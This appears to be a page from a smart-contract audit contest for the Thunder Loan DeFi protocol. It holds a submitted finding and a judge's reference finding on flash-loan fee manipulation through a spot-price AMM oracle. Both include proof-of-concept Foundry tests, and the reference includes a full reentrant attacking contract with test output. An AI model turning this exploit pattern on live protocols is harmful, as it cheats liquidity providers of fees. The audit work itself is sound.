Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: medium
Valid

Oracle spot-price manipulation crash: flash-loan fee collapses by orders of magnitude -> near-free flash loans / fee-DoS

Description

getCalculatedFee prices the flash-loan fee with a live AMM spot price that can be flipped in the same
transaction by swapping the pool's reserves.

// src/protocol/ThunderLoan.sol:247-251 — @> fee = 0.3% of spot-priced value
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
// @> getPriceInWeth is a live reserve ratio; no TWAP, no circuit breaker
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
// src/protocol/OracleUpgradeable.sol:19-24 — @> one call, one block, no smoothing
function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
// src/upgradedProtocol/ThunderLoanUpgraded.sol:192-194 — @> fee fed straight into the exchange-rate step
uint256 fee = getCalculatedFee(token, amount);
// slither-disable-next-line reentrancy-vulnerabilities-2 reentrancy-vulnerabilities-3
assetToken.updateExchangeRate(fee);

getPriceOfOnePoolTokenInWeth() is the raw reserveWeth * 1e18 / reserveToken of the whitelisted TSwap pool.
A borrower can flash-swap a large amount of the pool's token, collapse the price, pay the now-tiny fee, and
revert the swap. No oracle security (TWAP / deviation-bound / circuit breaker) exists.

Root Cause

The fee depends on an attacker-movable input (the pool's instantaneous reserve ratio) instead of a robust price
source. Because the fee also feeds updateExchangeRate, a price crush additionally forces the fee to round to
0 — which triggers AssetToken__ExhangeRateCanOnlyIncrease (see separate finding on rate-step truncation)
and reverts the whole flashloan until the pool price recovers.

Risk

Likelihood: High. Any token with a whitelisted constant-product pool (the only kind this oracle reads) is
flash-manipulable in one tx at effectively zero cost to the attacker. No privileged actor required.

Impact:

  • Fee for a 1000 tokenA loan collapses from 3e18 to < 3e15 (1000x cheaper) after one same-tx swap -> the
    attacker borrows arbitrarily large amounts while LPs earn ~nothing, gutting the LP revenue model.

  • If the crush drives the fee to round to 0, every flash loan on that token reverts until the pool recovers
    (DoS overlay, combined with the rate-step truncation finding).

  • This same feed is the amplifier for the exchange-rate accounting finding: a price pump scales the phantom
    fee credited to LP claims (v1 deposit drain).

Proof of Concept

test/poc/PocOracleFeeManipulation.t.sol:

function setUp() public {
// whitelist tokenA; pool = 200k tokenA : 200M weth (1 tokenA = 1000 weth at seed)
pool = new MockConstantProductPool(tokenA, weth, SEED_TOKEN, SEED_WETH);
tokenA.mint(address(pool), SEED_TOKEN);
weth.mint(address(pool), SEED_WETH);
factory.createPoolFor(address(tokenA), pool);
// ... proxy + initialize + owner whitelist ...
// LP deposits 10_000 tokenA
}
function test_PoC_OracleManipulation_ZeroFee() public {
uint256 honestFee = thunderLoan.getCalculatedFee(tokenA, 1000e18);
assertGt(honestFee, 0);
// Attacker flash-swaps 200M tokenA into the pool to crush the price (~1000x)
tokenA.mint(attacker, 200_000_000e18);
vm.startPrank(attacker);
tokenA.approve(address(pool), type(uint256).max);
pool.swapTokenForWeth(200_000_000e18);
vm.stopPrank();
uint256 manipulatedFee = thunderLoan.getCalculatedFee(tokenA, 1000e18);
assertLt(manipulatedFee, honestFee / 1000, "fee collapsed by >1000x"); // PASS
}
function test_PoC_FeeZeroForSmallAmounts_CheapToken() public {
uint256 honestFeeSmall = thunderLoan.getCalculatedFee(tokenA, 1e18);
tokenA.mint(attacker, 200_000_000e18);
vm.startPrank(attacker);
tokenA.approve(address(pool), type(uint256).max);
pool.swapTokenForWeth(200_000_000e18);
uint256 crushedFee = thunderLoan.getCalculatedFee(tokenA, 1e18);
vm.stopPrank();
assertLt(crushedFee, honestFeeSmall / 1e5, "fee collapsed by >1e5"); // PASS
}

Run: forge test --match-contract PocOracleFeeManipulation -vv (both tests PASS).

Recommended Mitigation

  • Use a TWAP/EMA or a bounded price source in getPriceInWeth instead of the live reserve ratio, so a same-tx
    swap cannot move the fee.

  • Enforce a minimum fee floor (clamp), so the fee can never round to 0 and flip into the rate-step revert.

  • Price the fee in weth value and convert to underlying-token units consistently (fixes both the magnitude and
    the manipulation spread).

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Attacker can minimize `ThunderLoan::flashloan` fee via price oracle manipulation

## Vulnerability details In `ThunderLoan::flashloan` the price of the `fee` is calculated on [line 192](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L192) using the method `ThunderLoan::getCalculatedFee`: ```solidity uint256 fee = getCalculatedFee(token, amount); ``` ```solidity function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) { //slither-disable-next-line divide-before-multiply uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; //slither-disable-next-line divide-before-multiply fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision; } ``` `getCalculatedFee()` uses the function `OracleUpgradeable::getPriceInWeth` to calculate the price of a single underlying token in WETH: ```solidity function getPriceInWeth(address token) public view returns (uint256) { address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token); return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth(); } ``` This function gets the address of the token-WETH pool, and calls `TSwapPool::getPriceOfOnePoolTokenInWeth` on the pool. This function's behavior is dependent on the implementation of the `ThunderLoan::initialize` argument `tswapAddress` but it can be assumed to be a constant product liquidity pool similar to Uniswap. This means that the use of this price based on the pool reserves can be subject to price oracle manipulation. If an attacker provides a large amount of liquidity of either WETH or the token, they can decrease/increase the price of the token with respect to WETH. If the attacker decreases the price of the token in WETH by sending a large amount of the token to the liquidity pool, at a certain threshold, the numerator of the following function will be minimally greater (not less than or the function will revert, see below) than `s_feePrecision`, resulting in a minimal value for `valueOfBorrowedToken`: ```solidity uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision; ``` Since a value of `0` for the `fee` would revert as `assetToken.updateExchangeRate(fee);` would revert since there is a check ensuring that the exchange rate increases, which with a `0` fee, the exchange rate would stay the same, hence the function will revert: ```solidity function updateExchangeRate(uint256 fee) external onlyThunderLoan { // 1. Get the current exchange rate // 2. How big the fee is should be divided by the total supply // 3. So if the fee is 1e18, and the total supply is 2e18, the exchange rate be multiplied by 1.5 // if the fee is 0.5 ETH, and the total supply is 4, the exchange rate should be multiplied by 1.125 // it should always go up, never down // newExchangeRate = oldExchangeRate * (totalSupply + fee) / totalSupply // newExchangeRate = 1 (4 + 0.5) / 4 // newExchangeRate = 1.125 uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply(); // newExchangeRate = s_exchangeRate + fee/totalSupply(); if (newExchangeRate <= s_exchangeRate) { revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate); } s_exchangeRate = newExchangeRate; emit ExchangeRateUpdated(s_exchangeRate); } ``` `flashloan()` can be reentered on [line 201-210](https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/8539c83865eb0d6149e4d70f37a35d9e72ac7404/src/protocol/ThunderLoan.sol#L201-L210): ```solidity receiverAddress.functionCall( abi.encodeWithSignature( "executeOperation(address,uint256,uint256,address,bytes)", address(token), amount, fee, msg.sender, params ) ); ``` This means that an attacking contract can perform an attack by: 1. Calling `flashloan()` with a sufficiently small value for `amount` 2. Reenter the contract and perform the price oracle manipulation by sending liquidity to the pool during the `executionOperation` callback 3. Re-calling `flashloan()` this time with a large value for `amount` but now the `fee` will be minimal, regardless of the size of the loan. 4. Returning the second and the first loans and withdrawing their liquidity from the pool ensuring that they only paid two, small `fees for an arbitrarily large loan. ## Impact An attacker can reenter the contract and take a reduced-fee flash loan. Since the attacker is required to either: 1. Take out a flash loan to pay for the price manipulation: This is not financially beneficial unless the amount of tokens required to manipulate the price is less than the reduced fee loan. Enough that the initial fee they pay is less than the reduced fee paid by an amount equal to the reduced fee price. 2. Already owning enough funds to be able to manipulate the price: This is financially beneficial since the initial loan only needs to be minimally small. The first option isn't financially beneficial in most circumstances and the second option is likely, especially for lower liquidity pools which are easier to manipulate due to lower capital requirements. Therefore, the impact is high since the liquidity providers should be earning fees proportional to the amount of tokens loaned. Hence, this is a high-severity finding. ## Proof of concept ### Working test case The attacking contract implements an `executeOperation` function which, when called via the `ThunderLoan` contract, will perform the following sequence of function calls: - Calls the mock pool contract to set the price (simulating manipulating the price) - Repay the initial loan - Re-calls `flashloan`, taking a large loan now with a reduced fee - Repay second loan ```solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver, IThunderLoan } from "../../src/interfaces/IFlashLoanReceiver.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MockTSwapPool } from "./MockTSwapPool.sol"; import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol"; contract AttackFlashLoanReceiver { error AttackFlashLoanReceiver__onlyOwner(); error AttackFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; uint256 public attackAmount = 1e20; uint256 public attackFee1; uint256 public attackFee2; address tSwapPool; IERC20 tokenA; constructor(address thunderLoan, address _tSwapPool, IERC20 _tokenA) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; tSwapPool = _tSwapPool; tokenA = _tokenA; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata params ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); // check if it is the first time through the reentrancy bool isFirst = abi.decode(params, (bool)); if (isFirst) { // Manipulate the price MockTSwapPool(tSwapPool).setPrice(1e15); // repay the initial, small loan IERC20(token).approve(s_thunderLoan, attackFee1 + 1e6); IThunderLoan(s_thunderLoan).repay(address(tokenA), 1e6 + attackFee1); ThunderLoan(s_thunderLoan).flashloan(address(this), tokenA, attackAmount, abi.encode(false)); attackFee1 = fee; return true; } else { attackFee2 = fee; // simulate withdrawing the funds from the price pool //MockTSwapPool(tSwapPool).setPrice(1e18); // repay the second, large low fee loan IERC20(token).approve(s_thunderLoan, attackAmount + attackFee2); IThunderLoan(s_thunderLoan).repay(address(tokenA), attackAmount + attackFee2); return true; } } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } } ``` The following test first calls `flashloan()` with the attacking contract, the `executeOperation()` callback then executes the attack. ```solidity function test_poc_smallFeeReentrancy() public setAllowedToken hasDeposits { uint256 price = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price before: ", price); // borrow a large amount to perform the price oracle manipulation uint256 amountToBorrow = 1e6; bool isFirstCall = true; bytes memory params = abi.encode(isFirstCall); uint256 expectedSecondFee = thunderLoan.getCalculatedFee(tokenA, attackFlashLoanReceiver.attackAmount()); // Give the attacking contract reserve tokens for the price oracle manipulation & paying fees // For a less funded attacker, they could use the initial flash loan to perform the manipulation but pay a higher initial fee tokenA.mint(address(attackFlashLoanReceiver), AMOUNT); vm.startPrank(user); thunderLoan.flashloan(address(attackFlashLoanReceiver), tokenA, amountToBorrow, params); vm.stopPrank(); assertGt(expectedSecondFee, attackFlashLoanReceiver.attackFee2()); uint256 priceAfter = MockTSwapPool(tokenToPool[address(tokenA)]).price(); console.log("price after: ", priceAfter); console.log("expectedSecondFee: ", expectedSecondFee); console.log("attackFee2: ", attackFlashLoanReceiver.attackFee2()); console.log("attackFee1: ", attackFlashLoanReceiver.attackFee1()); } ``` ```bash $ forge test --mt test_poc_smallFeeReentrancy -vvvv // output Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest [PASS] test_poc_smallFeeReentrancy() (gas: 1162442) Logs: price before: 1000000000000000000 price after: 1000000000000000 expectedSecondFee: 300000000000000000 attackFee2: 300000000000000 attackFee1: 3000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.52ms ``` Since the test passed, the fee has been successfully reduced due to price oracle manipulation. ## Recommended mitigation Use a manipulation-resistant oracle such as Chainlink.

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